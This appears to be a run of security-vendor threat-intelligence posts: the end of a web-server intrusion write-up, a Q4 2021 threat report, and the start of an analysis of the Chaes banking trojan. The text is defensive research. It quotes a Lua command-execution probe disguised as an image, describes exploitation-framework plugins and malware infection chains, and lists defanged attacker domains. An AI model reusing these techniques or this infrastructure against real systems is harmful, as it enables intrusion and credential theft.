After gaining knowledge on blocked and allowed file types, they tried to submit executable code. Of course, they started submitting PoCs instead of directly executing a webshell because submitting PoCs is more stealthy and also allows one to gain knowledge on what the malicious code is allowed to do. For instance, one of the files uploaded was this Lua script camouflaged as an image (20210903-160250-168571-ab1c20.jpg):
os.execute("touch","/tmp/test.miss")
Taking advantage of the Lua io.popen function, which executes a command and returns process output, the attackers used variants of the following command camouflaged as images to test different webshells:
They tested different Chinese webshells (i.e. Godzilla webshell), but this information is not enough to confidently attribute the attack to any threat actor.
The attackers decided to reconfigure the web server by uploading their own www.conf file camouflaged as a PNG file consisting of a default configuration but allowing the .lua extension to be executed. We suspect that the server was configured to execute new threads in a thread pool which didn’t work for Rebeyond Behinder (a powerful Chinese webshell) they wanted to execute. They were not able to successfully reconfigure the server to execute it. So, as final payload, they uploaded and ran an entire Tomcat server properly configured and weaponized with Rebeyond Behinder.
It is important to mention that they were able to upload some tools (dnscrypt-proxy, fscan, mssql-command-tool, behinder) to the server and execute a network scanner (fscan) and a custom one-click exploitation framework that we want to discuss below in more detail.
The aforementioned Chinese scanner and exploitation framework is written in Go programming language and distributed as a single binary, which allows to execute all the steps of exploitation by simply feeding it with an IP or a range of IPs (those can be passed as arguments to the program or using a text file) which makes of it an excellent tool to quickly hack computer systems belonging a network environment.
The tool is well organized. It is structured with plugins that allow it to perform all the necessary steps to autonomously hack other devices within the same network.
Plugins/Web/Finger: Performs a fingerprint to recognize services. Currently, it supports the following fingerprints: IBM, Jboss, shiro, BIG-IP, RuiJie, Tomcat, Weaver, jeecms, seeyon, shterm, tongda, zentao, Ueditor, ioffice, outlook, yongyou, Coremail, easysite, FCKeditor, Fortigate, FineReport, SangforEDR, Springboot, thinkphp_1, thinkphp_2, thinkphp_3, thinkphp_4, easyConnect and weblogic_async.
Plugins/Service: Attacks services in order to get access to it. Currently, it supports the following services: ssh, smb, redis, mysql, mssql, ms17010 (EternalBlue SMB exploit) and ftp.
Plugins/PwdTxt: Lists of both, username and password, short dictionaries for each service in Plugins/Service allowing to perform a brief brute force attack on the service.
Plugins/Web/Poc: Modules to exploit common web applications. Currently, it supports the following exploits: Jeecms_SSRF1, yongyou_rce1, RuiJie_RCE1, outlook_ews, thinkphp_RCE1, thinkphp_RCE2, thinkphp_RCE3, thinkphp_RCE4, thinkphp_RCE5, thinkphp_RCE6, RuiJie_Upload1, Weaver_Upload1, yongyou_upload1, weblogic_console, phpstudy_backdoor, yongyou_readFile1, Jboss_unAuthConsole, Jboss_CVE_2017_12149, weblogic_CVE_2019_2618.
An example of a Plugin is plugins/Web/Poc/Weblogic_CVE_2019_2618.
In the left side of the following screenshot you can see a scan executed in our lab, targeting a Python server (terminal in the right side of the screenshot) with the exploit payload request highlighted in a red rectangle.
For more information on the payloads, please, refer to IoCs, Table 2.
Conclusion
The procedure followed by the attackers hacking the 14th National Games of China is not new at all. They gained access to the system by exploiting a vulnerability in the web server. This shows the need for updating software, configuring it properly and also being aware of possible new vulnerabilities in applications by using vulnerability scanners.
The most fundamental security countermeasure for defenders consists in keeping the infrastructure up-to-date in terms of patching. Especially for the Internet facing infrastructure.
Prevention should be the first priority for both internal and Internet facing infrastructure.
Webshells are a post exploitation tool that can be very difficult to detect. Some webshells don’t even touch the filesystem residing only in memory; this can make it even harder to detect and identify. After implanting, webshells are mostly identified via unusual network traffic or anomalous network traffic indicators.
To protect against this kind of attack, it is important to deploy more layers of protection (i.e. SELinux, Endpoint Detection and Response solutions and so on) such that you can detect and quickly act when a successful intrusion happens.
After gaining access, the attackers tried to move through the network using exploits and bruteforcing services in an automated way. Since getting to this point is very possible for attackers, defenders must be prepared. Real Time monitoring of computer systems and networks is the right way to do that.
Finally, the attackers used an exploitation framework written in the Go programming language to move through the network. Go is a programming language becoming more and more popular which can be compiled for multiple operating systems and architectures, in a single binary self-containing all dependencies. So we expect to see malware and grey tools written in this language in future attacks, especially in IoT attacks where a broad variety of devices leveraging different kinds of processor architectures are involved.
Welcome to the Avast Q4’21 Threat Report! Just like the rest of last year, Q4 was packed with many surprises and plot twists in the threat landscape. Let me highlight some of them.
We all learned how much impact a small library for logging can have. Indeed, I’m referring to the Log4j Java library, where a vulnerability was discovered and immediately exploited. The rate at which malware operators exploited the vulnerability was stunning. We observed coinminers, RATs, bots, ransomware, and of course APTs abusing the vulnerability faster than a software vendor could say “Am I also using this Log4j library somewhere below?”. In a nutshell: Christmas came early for malware authors.
Furthermore, in my Q3’21 foreword, I mentioned the take-down of botnet kingpin, Emotet. We were curious which bot would replace it… whether it would be Trickbot, IcedID, or one of the newer ones. But the remaining Emotet authors had a different opinion, and pretty much said “The king is dead, long live the king!”, they rewrote several Emotet parts, revived their machinery, and took the botnet market back with the latest Emotet reincarnation.
Out of the other Q4’21 trends, I would like to highlight an interesting symbiosis of a particular adware strain that is protected by the Cerbu rootkit, which was very active in Africa and Asia. Furthermore, coinminers increased by 40% worldwide by infecting webpages and pirated software. In this report, we also provide a sneak peek into our recent research of banking trojans in Latin America and also dive into the latest in the mobile threat landscape.
Last but not least, Q4’21 was also special in terms of ransomware. However, unlike in previous quarters when you could only read about massive increases in attacks, ransom payments, or high-profile victims, Q4 brought us a long-awaited drop of ransomware activity by 28%! Why? Please, continue reading.
Jakub Křoustek, Malware Research Director
Methodology
This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.
Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.
Desktop
Advanced Persistent Threats (APTs)
Advanced Persistent Threats are typically created by Nation State sponsored groups which, unlike cybercriminals, are not solely driven by financial gain. These groups pursue nation states’ espionage agenda, which means that specific types of information, be it of geopolitical importance, intellectual property, or even information that could be used as a base for further espionage, are what they are after.
In December, we described a backdoor we found in a lesser known U.S. federal government commission. The attackers were able to run code on an infected machine with System privileges and used the WinDivert driver to read, filter and edit all network communication of the infected machine. After several unsuccessful attempts to contact the targeted commission over multiple channels, we decided to publish our findings in December to alert other potential victims of this threat. We were later able to engage with the proper authorities who are in possession of our full research and took action to remediate the threat.
Early November last year, we noticed the LuckyMouse APT group targeting two countries: Taiwan and the Philippines. LuckyMouse used a DLL sideload technique to drop known backdoors. We spotted a combination of the HyperBro backdoor with the Korplug backdoor being used. The dropped files were signed with a valid certificate of Cheetah Mobile Inc.
The top countries where we saw high APT activity were: Myanmar, Vietnam, Indonesia, and Ukraine. An actor known as Mustang Panda is still active in Vietnam. We also tracked a new campaign in Indonesia that appears to have been initiated in Q4’21.
The Gamaredon activity we observed in Q3’21 in Ukraine dropped significantly about a week before the Ukrainian Security Service publicly revealed information regarding the identities of the Gamaredon group members. Nevertheless, we still saw an increase in APT activity in the country.
Luigino Camastra, Malware Researcher Igor Morgenstern, Malware Researcher Daniel Beneš, Malware Researcher
Adware
Adware, as the name suggests, is software that displays ads, often in a disturbing way, without the victim realizing what is causing the ads to be displayed. We primarily monitor adware that is potentially dangerous and is capable of adding a backdoor to victims’ machines. Adware is typically camouflaged as legitimate software, but with an easter egg.
Desktop adware has become more aggressive in Q4’21, illustrated in the graph below. In comparison to Q3’21, we saw a significant rise in adware in Q4’21 and a serious peak at the beginning of Q4’21. Moreover, the incidence trend of adware in Q4’21 is very similar to the rootkit trend, which will be described later. We believe these trends are related to the Cerbu rootkit that can hijack requested URLs and then serve adware.
The risk ratio of adware has increased by about 70% worldwide in contrast to Q3’21. The most affected regions are Africa and Asia.
In terms of regions where we protected the most users from adware, users in Russia, the U.S., and Brazil were targeted the most in Q4’21.
Martin Chlumecký, Malware Researcher
Bots
The last quarter of 2021 was everything but uneventful in the world of botnets. Celebrations of Emotet’s takedown were still ongoing when we started to see Trickbot being used to resurrect the Emotet botnet. It looks like “Ivan” is still not willing to retire and is back in business. As if that wasn’t enough, we witnessed a change in Trickbot’s behavior. As can be seen in the chart below, by the end of November, attempts at retrieving the configuration file largely failed. By the middle of December, this affected all the C&Cs we have identified. While we continue to observe traffic flowing to a C&C on the respective ports, it does not correspond to the former protocol.
Just when we thought we were done with surprises, December brought the Log4shell vulnerability, which was almost immediately exploited by various botnets. It ought to be no surprise that one of them was Mirai, again. Moreover, we saw endpoints being hammered with bots trying to exploit the vulnerability. While most of the attempts lead to DNS logging services, we also noticed several attempts that tried to load potentially malicious code. We observed one interesting thing about the Log4shell vulnerability: While a public endpoint might not be vulnerable to Log4shell, it could still be exploited if logs are sent from the endpoint to another logging server.
Below is a heatmap showing the distribution of botnets that we observed in Q4 2021.
As for the overall risk ratios, the top of the table hasn’t changed much since Q3’21 and is still occupied by Afghanistan, Turkmenistan, Yemen, and Tajikistan. What has changed is their risk ratios have significantly increased. A similar risk ratio increase occurred for Japan and Portugal, even though in absolute value their risk ratio is still significantly lower than in the aforementioned countries. The most common botnets we saw in the wild are:
Phorpiex
BetaBot
Tofsee
Mykings
MyloBot
Nitol
LemonDuck
Emotet
Dorkbot
Qakbot
Adolf Středa, Malware Researcher
Coinminers
Even though cryptocurrencies experienced turbulent times, we actually saw an increase of malicious coin mining activity, it increased by a whooping 40% in our user base in Q4’21, as can be seen on the daily spreading chart below. This increase could be also influenced by the peak in Ethereum and Bitcoin prices in November.
The heat map below shows that in comparison to the previous quarter, there was a higher risk of a coin miner infection for users in Serbia and Montenegro. This is mainly due to a wider spreading of web miners in these regions, attempting to mine cryptocurrencies while the victim is visiting certain webpages. XMRig is still the leader choice among the popular coinminers.
CoinHelper is one of the prevalent coinminers that was still very active throughout Q4’21, mostly targeting users in Russia and the Ukraine. When the malware is executed on a victim’s system, CoinHelper downloads the notorious XMRig miner via the Tor network and starts to mine. Apart from coin mining, CoinHelper also harvests various information about its victims to recognize their geolocation, what AV solution they have installed, and what hardware they are using.
The malware is being spread in the form of a bundle with many popular applications, cracked software such as MS Office, games and game cheats like Minecraft and Cyberpunk 2077, or even clean installers, such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.
Even though we observed multiple crypto currencies, including Ethereum or Bitcoin, configured to be mined, there was one particular type that stood out – Monero. Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to get a deeper look into the malware authors’ Monero mining operation and find out that the total monetary gain of CoinHelper was 339,694.86 USD as of November, 29, 2021.
Cryptocurrency
Earnings in USD
Earnings in cryptocurrency
Number of wallets
Monero
$292,006.08
1,216.692 [XMR]
311
Bitcoin
$46,245.37
0.800 [BTC]
54
Ethereum
$1,443.41
0.327 [ETH]
5
Table with monetary gain (data refreshed 2021-11-29)
Since the release of our CoinHelper blogpost, the miner was able to mine an additional ~15.162 XMR as of December 31, 2021 which translates to ~3,446.03 USD. With this calculation, we can say that at the turn of the year 2021, CoinHelper was still actively spreading, with the ability to mine ~0.474 XMR every day.
Jan Rubín, Malware Researcher Jakub Kaloč, Malware Researcher
Information Stealers
In comparison with the previous quarters, we saw a slight decrease in information stealer in activity. The reason behind this is mainly a significant decrease in Fareit infections, which dropped by 61%. This places Fareit to sixth position from the previously dominant first rank, holding roughly 9% of the market share now. To this family, as well as to all the others, we wish a happy dropping in 2022!
The most prevalent information stealers in Q4’21 were AgentTesla, FormBook, and RedLine stealers. If you happen to get infected by an infostealer, there is almost a 50% chance that it will be one of these three.
Even though infostealers are traditionally popular around the world, there are certain regions where there is a greater risk of encountering one. Users in Singapore, Yemen, Turkey, and Serbia are most at risk of losing sensitive data. Out of these countries, we only saw an increase in risk ratio in Turkey when comparing the ratios to Q3’21.
Finally, malware strains based on Zeus still dominate the banking-trojan sector with roughly 40% in market share. However, one of these cases, the Citadel banker, experienced a significant drop in Q4’21, providing ClipBanker a space to grow.
Jan Rubín, Malware Researcher
LatAm Region
Latin America has always been an interesting area in malware research due to the unique and creative TTPs employed by multiple threat groups operating within this regional boundary. During Q4’21, a threat group called Chaes dominated Brazil’s threat landscape with infection attempts detected from more than 66,600 of our Brazilian customers. Compromising hundreds of WordPress web pages with Brazilian TLD, Chase serves malicious installers masquerading as Java Runtime Installers in Portuguese. Using a complex Python in-memory loading chain, Chaes installs malicious Google Chrome extensions onto victims’ machines. These extensions are capable of intercepting and collecting data from popular banking websites in Brazil such as Mercado Pago,Mercado Livre, Banco do Brasil, and Internet Banking Caixa.
Ousaban is another high-profile regional threat group whose operations in Brazil can be traced back to 2018. Getting massive attention in Q2’21 and Q3’21, Ousaban remains active during the Q4’21 period with infection attempts detected from 6,000+ unique users. Utilizing a technique called side-loading, Ousaban’s malicious payload is loaded by first executing a legitimate Avira application within a Microsoft Installer. The download links to these installers are mainly found in phishing emails which is Ousaban’s primary method of distribution.
Anh Ho, Malware Researcher Igor Morgenstern, Malware Researcher
Ransomware
Let’s go back in time a little bit at first, before we dive into Q4’21 ransomware activity. In Q3’21, ransomware warfare was escalating, without a doubt. Most active strains were more prevalent than ever before. There were newspaper headlines about another large company being ransomed every other day, a massive supply-chain attack via MSP, record amounts of ransom payments, and sky-high self-esteem of cybercriminals.
Ransomware carol found on a darknet malware forum.
While unfortunate, this havoc triggered a coordinated cooperation of nations, government agencies, and security vendors to hunt down ransomware authors and operators. The FBI, the U.S. Justice Department, and the U.S. Department of State started putting marks on ransomware gangs via multi-million bounties, the U.S. military acknowledged targeting cybercriminals who launch attacks on U.S. companies, and we even started witnessing actions by Russian officials. The most critical part was the busts of ransomware-group members by the FBI, Europol, and DoJ in Q4’21.
We believe all of this resulted in a significant decrease in ransomware attacks in Q4’21. In terms of the ransomware risk ratio, it was lower by an impressive 28% compared to Q3’21. We hope to see a continuation of this trend in Q1’22, but we are also prepared for the opposite.
The positive decrease of the risk ratio Q/Q was evident in the majority of countries where we have our telemetry, with a few exceptions such as Bolivia, Uzbekistan, and Mongolia (all with more than +400% increase), Kazakhstan and Belarus (where the risk ratio doubled Q/Q), Russia (+49%), Slovakia (+37%), or Austria (+25%).
The most prevalent strains from Q3’21 either vanished or significantly decreased in volume in Q4’21. For example, the operators and authors of the DarkMatter ransomware went silent, most probably because a $10 million bounty was put on their heads by the FBI. Furthermore, STOP ransomware, which was the most prevalent strain in Q3’21, was still releasing new variants regularly to lure users seeking pirated software, but the number of targeted (and protected) users dropped by 58% and its “market share” decreased by 36%. Another strain worth mentioning was Sodinokibi aka REvil – its presence decreased by 50% in Q4’21 and it will be interesting to monitor its future presence because of the circumstances happening in Q1’22 (greetings to Sodinokibi/REvil gang members currently sitting custody).
The most prevalent ransomware strains in Q4’21:
STOP
WannaCry
Sodinokibi
Conti
CrySiS
Exotic
Makop
GlobeImposter
GoRansomware
VirLock
Not everything ransomware related was positive in Q4’21. For example, new strains were discovered that could quickly emerge in prevalence, such as BlackCat (aka ALPHV) with its RaaS model introduced on darknet forums or a low-quality Khonsari ransomware, which took the opportunity to be the first ransomware exploiting the aforementioned Log4j vulnerability and thus beating the Conti in this race.
Last, but not least, I would like to mention new free ransomware decryption tools we’ve released. This time for AtomSilo, LockFile, and Babuk ransomware. AtomSilo is not the most prevalent strain, but it has been constantly spreading for more than a year. So we were happy as our decryptor immediately started helping ransomware victims.
Jakub Křoustek, Malware Research Director
Remote Access Trojans (RATs)
The last weeks of Q4’21 are also known as “days of peace and joy” and this claim also applies for malicious actors. As you can see in the graph below of RAT activity for this quarter, it is obvious that malware actors are just people and many of them took holiday breaks, that’s probably why the activity level during the end of December more than halved. The periodical drops that can be seen are weekends as most campaigns usually appear from Monday to Thursday.
In the graph below, we can see a Q3/Q4 comparison of the RAT activity.
The heat map below shines with multiple colors like a Christmas tree and among the countries with the highest risk ratio we see Czech Republic, Singapore, Serbia, Greece, and Croatia. We also detected a high Q/Q increase of the risk ratio in Slovakia (+39%), Japan (+30%), and Germany (+23%).
Most prevalent RATs in Q4’21:
Warzone
njRAT
Remcos
NanoCore
AsyncRat
QuasarRAT
NetWire
SpyNet
DarkComet
DarkCrystal
The volume of attacks and protected users overall was similar to what we saw in Q3’21, but there was also an increase within families, such as Warzone or DarkCrystal (their activity more than doubled), SpyNet (+89%) and QuasarRAT(+21%).
A hot topic this quarter was a vulnerability in Log4j and in addition to other malware types, some RATs were also spread thanks to the vulnerability. The most prevalent were NanoCore, AsyncRat and Orcus. Another new vulnerability that was exploited by RATs was CVE-2021-40449. This vulnerability was used to elevate permissions of malicious processes by exploiting the Windows kernel driver. Attackers used this vulnerability to download and launch the MistarySnail RAT. Furthermore, a very important cause of high Nanocore and AsyncRat detections was caused by a malicious campaign abusing the cloud providers, Microsoft Azure and Amazon Web Service (AWS). In this campaign malware attackers used Azure and AWS as download servers for their malicious payloads.
But that’s not all, at the beginning of December we found a renamed version of DcRat under the name SantaRat. This renamed version was just pure copy-paste of DcRat, but it shows that malware developers were also in the Christmas spirit and maybe they also hoped that their version of Santa would visit many households as well, to deliver their gift. To be clear, DcRat is a slightly modified version of AsyncRat.
The developers of DcRat weren’t the only ones playing the role of Santa and distributing gifts. Many other malware authors also delivered RAT related gifts to us in Q4’21.
The first one was the DarkWatchman RAT, written in JavaScript and on top of the programming language used, it differs from other RATs with one other special property: it lives in the system registry keys. This means that it uses registry keys to store its code, as well as to store temporary data, thus making it fileless.
Another RAT that appeared was ActionRAT, released by the SideCopy APT group in an attack on the government of Afghanistan. This RAT uses base64 encoding to obfuscate its strings and C&C domains. Its capabilities are quite simple, but still powerful so it could execute commands from a C&C server, upload, download and execute files, and retrieve the victim’s machine details.
We also observed two new RATs spread on Linux systems. CronRAT's name already tells us what it uses under the hood, but for what? This RAT uses cron jobs, which are basically scheduled tasks on Linux systems to store payloads. These tasks were scheduled on 31.2. (a non-existent date) and that’s why they were not triggered, so the payload could remain hidden. The second RAT from the Linux duo was NginRAT which was found on servers that were previously infected with CronRAT and served the same purpose: to provide remote access to the compromised systems.
Even though we saw a decrease in RAT activity at the end of December it won’t stay that way. Malicious actors will likely come back from their vacations fresh and will deliver new surprises. So stay tuned.
Samuel Sidor, Malware Researcher
Rootkits
We have recorded a significant increase in rootkit activity at Q4’21, illustrated in the chart below. This phenomenon can be explained by the increase in adware activity since the most active rootkit was the Cerbu rootkit. The primary function of Cerbu is to hijack browser homepages and redirect site URLs according to the rootkit configuration. So, this rootkit can be easily deployed and configured for adware.
The graph below shows that China is still the most at risk countries in terms of protected users, although attacks in China decreased by about 17%.
In Q4’21, the most significant increase of risk ratio was in Egypt and Vietnam. On the other hand, Taiwan, Hong Kong, and China reported approximately the same values as in the previous quarter. The most protected users were in the Czech Republic, Russian Federation, China, and Indonesia.
Martin Chlumecký, Malware Researcher
Technical support scams (TSS)
During the last quarter, we registered a significant wave of increased tech support scam activity. In Q4’21, we saw peaks at the end of December and we are already seeing some active spikes in January.
Activity of a long-term TSS campaign
The top targeted countries for this campaign are the United States, Brazil, and France. The activity of this campaign shows the tireless effort of the scammers and proves the increasing popularity of this threat.
In combination with other outgoing long-term campaigns, our data also shows two high spikes of activity of another campaign, lasting no longer than a few days, heavily targeting the United States and Canada, as well as other countries in Europe. This campaign had its peak at the end of November and the beginning of December, then it slowly died out.
Rise and fall and slow fall of the second campaign
We also noticed attempts at innovation as new variants of TSS samples appeared. So, not just a typical locked browser with error messages but other imitations like Amazon Prime, and PayPal. We are of course tracking these new variants and will see how popular they will be in the next quarter.
Overall TSS activity for Q4
Alexej Savčin, Malware Analyst
Vulnerabilities and Exploits
As was already mentioned in the foreword, the vulnerability news in Q4’21 was dominated by Log4Shell. This vulnerability in Log4j – a seemingly innocent Java logging utility – took the infosec community by storm. It was extremely dangerous because of the ubiquity of Log4j and the ease of exploitation, which was made even easier by several PoC exploits, ready to be weaponized by all kinds of attackers. The root of the vulnerability was an unsafe use of JNDI lookups, a vulnerability class that Hewlett Packard researchers Alvaro Muñoz and Oleksandr Mirosh already warned about in their 2016 BlackHat talk. Nevertheless, the vulnerability existed in Log4j from 2013 until 2021, for a total of eight years.
For the attackers, Log4Shell was the greatest thing ever. They could just try to stuff the malicious string into whatever counts as user input and observe if it gets logged somewhere by a vulnerable version of Log4j. If it does, they just gained remote code execution in the absence of any mitigations. For the defenders on the other hand, Log4Shell proved to be a major headache. They had to find all the software in their organization that is (directly or indirectly) using the vulnerable utility and then patch it or mitigate it. And they had to do it fast, before the attackers managed to exploit something in their infrastructure. To make things even worse, this process had to be iterated a couple of times, because even some of the patched versions of Log4j turned out not to be that safe after all.
From a research standpoint, it was interesting to observe the way the exploit was adopted by various attackers. First, there were only probes for the vulnerability, abusing the JNDI DNS service provider. Then, the first attackers started exploiting Log4Shell to gain remote code execution using the LDAP and RMI service providers. The JNDI strings in-the-wild also became more obfuscated over time, as the attackers started to employ simple obfuscation techniques in an attempt to evade signature-based detection. As time went on, more and more attackers exploited the vulnerability. In the end, it was used to push all kinds of malware, ranging from simple coinminers to sophisticated APT implants.
In other vulnerability news, we continued our research into browser exploit kits. In October, we found that Underminer implemented an exploit for CVE-2021-21224 to join Magnitude in attacking unpatched Chromium-based browsers. While Magnitude stopped using its Chromium exploit chain, Underminer is still using it with a moderate level of success. We published a detailed piece of research about these Chromium exploit chains, so make sure to read it if you’d like to know more.
Jan Vojtěšek, Malware Researcher
Web skimming
One of the top affected countries by web skimming in Q4’21 was Saudi Arabia, in contrast with Q3’21 we protected four times as many users in Saudi Arabia in Q4. It was caused by an infection of e-commerce sites souqtime[.]com and swsg[.]co. The latter loads malicious code from dev-connect[.]com[.]de. This domain can be connected to other known web skimming domains via common IP 195[.]54[.]160[.]61. The malicious code responsible for stealing credit card details loads only on the checkout page. In this particular case, it is almost impossible for the customer to recognize that the website is compromised, because the attacker steals the payment details from the existing payment form. The payment details are then sent to the attackers website via POST request with custom encoding (multiple base64 and substitution). The data sending is triggered on an “onclick” event and every time the text from all input fields is sent.
In Australia the most protected users were visitors of mobilitycaring[.]com[.]au. During Q4’21 this website was sending payment details to two different malicious domains, first was stripe-auth-api[.]com, and later the attacker changed it to booctstrap[.]com. This domain is typosquatting mimicking bootstrap.com. This is not the first case we observed where an attacker changed the exfiltration domain during the infection.
In Q4’21, we protected nearly twice as many users in Greece as in Q3’21. The reason behind this was the infected site retro23[.]gr, unlike the infected site from Saudi Arabia (swsg[.]co), in this case the payment form is not present on the website, therefore the attacker inserted their own. But as we can see in the image below, that form does not fit into the design of the website. This gives customers the opportunity to notice that something is wrong and not fill in their payment details. We published a detailed analysis about web skimming attacks, where you can learn more.
Pavlína Kopecká, Malware Analyst
Mobile
Premium SMS – UltimaSMS
Scams that siphon victims’ money away through premium SMS subscriptions have resurfaced in the last few months. Available on the Play Store, they mimic legitimate applications and games, often featuring catchy adverts. Once downloaded, they prompt the user to enter their phone number to access the app. Unbeknownst to the user, they are then subscribed to a premium SMS service that can cost up to $10 per week.
As users often aren’t inherently familiar with how recurring SMS subscriptions work, these scams can run for months unnoticed and cause an expensive phone bill for the victims. Uninstalling the app doesn’t stop the subscription, the victim has to contact their provider to ensure the subscription is properly canceled, adding to the hassle these scams create.
Avast has identified one such family of Premium SMS scams – UltimaSMS. These applications serve only to subscribe victims to premium SMS subscriptions and do not have any further functions. The actors behind UltimaSMS extensively used social media to advertise their applications and accrued over 10M downloads as a result.
According to our data the most targeted countries were those in the Middle East, like Qatar, Oman, Saudi Arabia or Kuwait. Although we’ve seen instances of these threats active even in other areas, like Europe, for instance in our home country – the Czech Republic. We attribute this widespread reach of UltimaSMS to its former availability on the Play Store and localized social media advertisements.
Jakub Vávra, Malware Analyst
Spyware – Facestealer
A newcomer this year, Facestealer, resurfaced on multiple occasions in Q4’21. It is a spyware that injects JavaScript into the inbuilt Android Webview browser in order to steal Facebook credentials. Masquerading as photo editors, horoscopes, fitness apps and others, it has been a continued presence in the last few months of 2021 and it appears to be here to stay.
Facestealer apps look legitimate at first and they fulfill their described app functions. After a period of time, the apps’ C&C server sends a command to prompt the user to sign in to Facebook to continue using the app, without adverts. Users may have their guard down as they’ve used the app without issue up until now. The app loads the legitimate Facebook login website and injects malicious JS code to skim the users’ login credentials. The user may be unaware their social media account has been breached.
It is likely that, as with other spyware families we’ve seen in the past, Facestealer will be reused in order to target other social media platforms or even banks. The mechanism used in the initial versions can be adjusted as the attackers can load login pages from potentially any platform.
According to our threat data, this threat was mostly targeting our users in Africa and surrounding islands – Niger and Nigeria in the lead, followed by Madagascar, Zimbabwe and others.
Jakub Vávra, Malware Analyst Ondřej David, Malware Analysis Team Lead
Fake Covid themed apps on the decline
Despite the pandemic raging on and governments implementing various new measures and introducing new applications such as Covid Passports, there’s been a steady decline in the number of fake Covid apps. Various bankers, spyware and trojans that imitated official Covid apps flooded the mobile market during 2020 and first half of 2021, but it seems they have now returned to disguising themselves as delivery apps, utility apps and others that we have seen before.
It’s possible that users aren’t as susceptible to fake Covid apps anymore or that the previous methods of attack proved more efficient for these pieces of malware, as evidenced for example on the massively successful campaigns of FluBot, which we reported on previously. Cerberus/Alien variants stood out as the bankers that were on the frontlines of fake Covid-themed apps. But similarly to some of this year’s newcomers such as FluBot or Coper bankers, the focus has now shifted back to the “original” attempts to breach users’ phones through SMS phishing while pretending to be a delivery service app, bank app or others.
During the beginning of the pandemic we were able to collect hundreds to thousands of new unique samples monthly disguising themselves as various apps connected to providing Covid information, Covid passes, vaccination proofs or contact tracing apps or simply just inserting the Covid/Corona/Sars keywords in their names or icons. During the second half of 2021 this trend has been steadily dropping. In Q4’21 we have seen only low 10s of such new samples.
Jakub Vávra, Malware Analyst Ondřej David, Malware Analysis Team Lead
Chaes is a banking trojan that operates solely in Brazil and was first reported in November 2020 by Cybereason. In Q4 2021, Avast observed an increase in Chaes’ activities, with infection attempts detected from more than 66,605 of our Brazilian customers. In our investigation, we found the malware is distributed through many compromised websites, including highly credible sites. Overall, Avast has found Chaes’ artifacts in 800+ websites. More than 700 of them contain Brazilian TLDs. All compromised websites are WordPress sites, which leads us to speculate that the attack vector could be exploitation of vulnerabilities in WordPress CMS. However, we are unable to perform forensics to confirm this theory. We immediately shared our findings with the Brazilian CERT (BR Cert) with the hope of preventing Chaes from spreading. By the time of this publication, Chaes’ artifacts still remain on some of the websites we observed.
Chaes is characterized by the multiple-stage delivery that utilizes scripting frameworks such as JScript, Python, and NodeJS, binaries written in Delphi, and malicious Google Chrome extensions. The ultimate goal of Chaes is to steal credentials stored in Chrome and intercept logins of popular banking websites in Brazil.
In this posting, we present the results of our analysis of the Chaes samples we found in Q4 2021. Future updates on the latest campaign will be shared via Twitter or a later post.
Infection Scheme
When someone reaches a website compromised by Chaes, they are presented with the below pop-up asking users to install the Java Runtime application:
If the user follows the instructions, they will download a malicious installer that poses as a legitimate Java Installer. As shown below, the fake installer closely imitates the legitimate Brazilian Portuguese Java installer in terms of appearance and behavior.
Once the installation begins, the user’s system is compromised. After a few minutes, all web credentials, history, user profiles stored by Chrome will be sent to attackers. Users may experience Google Chrome getting closed and restarted automatically. This indicates any future interactions with the following Brazilian banking websites will be monitored and intercepted:
mercadobitcoin.com.br
mercadopago.com.[ar|br]
mercadolivre.com.br
lojaintegrada.com.br
Technical Analysis
Infected websites
Upon inspecting the HTML code of the compromised websites, we found the malicious script inserted as shown below:
In this case, theV=28 likely represents the version number. We also found a URL with other versions as well:
https://is[.]gd/EnjN1x?V=31
https://is[.]gd/oYk9ielu?D=30
https://is[.]gd/Lg5g13?V=29
https://is[.]gd/WRxGba?V=27
https://is[.]gd/3d5eWS?V=26
The script creates an HTML element that stays on top of the page with “Java Runtime Download” lure. This element references an image from a suspicious URL
https://sys-dmt[.]net/index.php?D\
https://dmt-sys[.]net/
and an on-click download of a Microsoft Installer from
https://bkwot3kuf[.]com/wL38HvYBiOl/index.php?get or
The flowchart below shows the infection chain following the malicious installer execution.
Inside the MSI package
The installer contains 3 malicious JS files install.js, sched.js, and sucesso.js renamed to Binary._as shown above. Each of them handles a different task, but all are capable of reporting the progress to the specified CnC:
Implementation of the logging function across all 3 scripts
install.js
The purpose of this script is to download and execute a setup script called runScript that will prepare the proper Python environment for the next stage loader. After making an HTTP request to a hardcoded domain, the obfuscated runScript is downloaded and then executed to perform the following tasks:
Download password-protected archives such as python32.rar/python64.rar and unrar.exe to that extensions folder
Write the path of the newly created extensions folder to HKEY_CURRENT_USER\\Software\\Python\\Config\\Path
Performs some basic system profiling
Execute unrar.exe command with the password specified as an argument to unpack python32.rar/python64.rar
Connect to C2 and download 32bit and 64bit __init__.pyscripts along with 2 encrypted payloads. Each payload has a pseudo-random name.
runScript.js content
sched.js
The purpose of this script is to set up persistence and guarantee the execution of__init__.py downloaded by runScript from the previous step. Sched.js accomplishes this by creating a Scheduled Task as its primary means and creating a Startup link as its backup means. Ultimately, they are both able to maintain the after-reboot execution of the following command:
This script reports to CnC that the initial installation on the victim’s computer has succeeded and is ready for the next stage
Python Loader Chain
The Scheduled Task created by sched.js eventually starts __init__.py whichinitiates the Python in-memory loading chain. The loading chain involves many layers of Python scripts, JS scripts, shellcode, Delphi DLLs, and .NET PE which we will break down in this section. Impressively, the final payload is executed within __init__.pyprocess (PID 2416 and 4160) as shown below:
__init__.py
Obfuscated content
The__init__.py xor decrypts and decompresses the pseudo-random filename downloaded by runScript.js into another Python script. The new Python script contains 2 embedded payloads: image and shellcode in encrypted form.Image represents the Chaes loader module called chaes_vy.dllwhile shellcode is an in-memory PE loader. We found this particularloader shellcode reappearing many times in the later stages of Chaes. Running the shellcode using CreateThread API with proper parameters pointing to chaes_vy.dll, the Python script eventually loads chaes_vy.dll into memory:
chaes_vy.dll is loaded into memory by an embedded shellcode
Chaes_vy.dll
Chaes_vy is a Delphi module that loads an embedded .NET executable that in turn runs 2 JavaScripts: script.js and engine.js. These two scripts hold the core functionalities of the Chaes_vy module.
script.js
